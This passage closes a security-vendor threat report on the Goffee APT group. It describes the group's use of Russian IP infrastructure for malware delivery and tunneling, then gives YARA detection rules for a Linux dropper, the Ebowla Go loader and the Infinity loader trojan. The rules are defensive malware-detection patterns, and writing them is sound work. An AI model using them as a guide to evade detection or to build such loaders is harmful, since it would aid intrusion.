Researchers also identified the attackers' network profile. Goffee uses Russian IP addresses and hosting providers, likely to reduce detection risk. This tactic helps bypass geolocation-based traffic filtering and masks activity as that of an internal actor within the infrastructure. Most often, such IP addresses are used at intermediate stages—for delivering malware or setting up tunneling.

The consistent indicators revealed by the study—repeated packaging patterns, the group's network profile, and traffic-encryption characteristics—make it possible, with high confidence, to attribute incidents to this group and to anticipate its activity in the future.

Indicators of compromise

Positive Technologies product verdicts

PT Sandbox

import elf

rule apt_linux_ZZ_GOFFEE__Dropper__RolMod13 {
    meta:
        description       = "Linux loader with algo RolMod13"
    strings:
        $code_at_00001BD7 = { 4? C1 E? 04 4? 89 ?? 4? 8B (?5 | ?D) ?? FF 4? 01 ?? 4? C7 4? 08 00 10 00 00 8B (?5 | ?D) ?? 4? 98 4? C1 E? 04 }
        $code_at_00001DD2 = { 4? C1 E? 04 4? 89 ?? 4? 8B (?5 | ?D) ?? FF 4? 01 ?? 4? C7 00 19 00 00 00 }
        $code_at_00001EDA = {
            B? 4F EC C4 4E
            89 ??
            F7 E?
            C1 E? 02
            89 ?? 01
        }
        $code_at_00001EEA = { 01 ?? C1 E? 02 01 ?? 29 ?? 89 }
    condition:
        uint32be(0) == 0x7f454c46 and (3 of them and (for any i in (0..elf.number_of_sections): (elf.sections[i].size > 0x200000 and elf.sections[i].name == ".data")) or elf.telfhash() == "T13AB01287D731E75D98911C754C0400A70023438C772CC3000F91D850CC3440372F131C")
}

rule tool_win_ZZ_Ebowla__Dropper__Go {
    meta:
        description       = "Go loader Ebowla with base64 payload"
    strings:
        $v1  = "main._Cfunc_MemoryCallEntryPoint"
        $v2  = "main.build_code"
        $v3  = "main.sysNativeDone"
        $v4  = "main._Cfpvar_fp_MemoryDefaultGetProcAddress"
        $v5  = "minus_bytes"
        $v6  = "key_combos"
        $v7  = "another_temp"
        $v8  = "temp_encrypted_payload"
        $v9  = "raw_key"
        $v10 = "payload_test_hash"
        $v11 = "main.walk_path"
        $v12 = "temp_keycombos"
        $v13 = "full_payload"
    condition:
        uint16(0) == 0x5A4D and 5 of ($v*)
}

rule tool_win_ZZ_InfinityLoader__Trojan {
    meta:
        description       = "Infinity loader detect"
    strings:
        $code1 = { 32 54 08 10 49 C1 F9 ?? 44 31 CA 4D 89 C1 49 C1 F8 ?? 49 C1 F9 ?? 44 31 CA 44 31 C2 }
        $code2 = { 48 8B 45 ?? 89 C2 48 8B 45 ?? 89 D1 48 D3 F8 44 31 C0 89 C2 48 8B 4D ?? 48 8B 45 ?? 48 01 C8 48 83 C0 ?? 88 10 }
        $s1    = "Infinity"
        $s2    = "crowload"
    condition:
        uint16be(0) == 0x4D5A and (($s1 and $code1) or ($s2 and $code2))
}

PT NAD and PT NGFW

Share link